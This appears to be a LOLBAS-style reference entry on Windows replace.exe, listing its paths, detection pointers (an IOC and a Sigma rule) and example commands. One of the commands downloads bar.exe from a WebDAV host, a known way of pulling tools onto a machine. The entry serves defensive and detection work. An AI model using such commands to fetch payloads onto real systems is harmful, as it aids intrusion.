





# /Replace.exe

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Used to replace file with another file

**Paths:**

C:\Windows\System32\replace.exe  
C:\Windows\SysWOW64\replace.exe

**Resources:**

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- <https://twitter.com/elceef/status/986842299861782529>

**Acknowledgements:**

- elceef ([@elceef](#))

**Detections:**

- IOC: Replace.exe retrieving files from remote server
- Sigma: [proc\\_creation\\_win\\_lolbin\\_replace.yml](#)

## Copy

Copy file.cab to destination

```
replace.exe C:\Source\File.cab C:\Destination /A
```

**Use case:** Copy files  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
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```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```

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